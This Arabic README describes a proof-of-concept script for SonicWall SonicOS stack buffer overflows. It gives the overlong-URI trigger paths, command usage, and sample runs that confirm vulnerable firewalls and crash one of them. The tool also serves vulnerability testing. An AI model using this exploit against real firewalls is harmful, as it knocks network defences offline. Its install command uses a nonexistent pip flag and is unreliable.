
استغلال إثبات المفهوم لثغرات تجاوز سعة المخزن المؤقت المستندة إلى المكدس في SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656) عبر طلبات HTTP مصمّمة، مما يتيح الاختبار الآمن أو استغلال التعطل لجدران الحماية الضعيفة.

في 24 مارس 2022، أصدرت SonicWall إشعارًا بالتفاصيل التالية:
ثغرة أمان من نوع تجاوز سعة المخزن المؤقت (Stack-based buffer overflow) في SonicOS عبر طلب HTTP تسمح لمهاجم خارجي غير موثوق بالتسبب في رفض الخدمة (DoS) أو ربما تؤدي إلى تنفيذ الأكواد في جدار الحماية.
ملاحظة: تؤثر هذه الثغرة فقط على واجهة "إدارة الويب" (web management)، ولا تتأثر واجهة SSLVPN الخاصة بـ SonicOS.
في 2 مارس 2023، أصدرت SonicWall إشعارًا آخر مشابهًا:
ثغرة أمان من نوع تجاوز سعة المخزن المؤقت (Stack-based buffer overflow) في SonicOS تسمح لمهاجم خارجي غير موثوق بالتسبب في رفض الخدمة (DoS)، مما قد يؤدي إلى تعطل جدار الحماية المتأثر.
ملاحظة: تؤثر هذه الثغرة فقط على واجهة "إدارة الويب" (web management)، ولا تتأثر واجهة SSLVPN الخاصة بـ SonicOS.
كلا المشكلتين مرتبطتان بنفس نمط الكود الضعيف وتستخدمان نفس حمولة الاستغلال، ولكن يتم تفعيلهما في مسارات URI مختلفة.
يتم تفعيل تجاوز سعة المخزن المؤقت عبر طلب HTTP بمسار URI أطول من 1024 حرفًا. يمكن استغلال CVE-2022-22274 في /resources/ أو في مسار Advanced Threat Protection URI (/atp/ إذا كان مفعّلاً أو // إذا كان معطّلاً). يمكن استغلال CVE-2023-0656 في /stats/ أو /Security_Services.
يحتوي هذا المستودع على نص برمجي لإثبات المفهوم لاختبار قابلية استغلال هدف على جميع مسارات URI الأربعة. يقوم النص بإجراء اختبار آمن افتراضيًا، ولكنه يمتلك القدرة على استغلال الثغرات وتعطيل الهدف أيضًا.
ملاحظة: في تكوينه الافتراضي، يؤدي 3 أعطال متتالية خلال فترة قصيرة إلى إعادة تشغيل الجهاز في SonicOS إلى وضع التصحيح Debug Mode، ولن يكون الجهاز قابلاً للوصول حتى يقوم المسؤول بإعادته إلى الخدمة. استخدمه بمسؤولية!
قم بتثبيت Python 3 وشغّل python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
اختبار هدف ضعيف:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
استغلال هدف ضعيف:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
اختبار واستغلال هدف تم تصحيحه:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
هذا المشروع مرخص بموجب رخصة GNU GPL 3.0.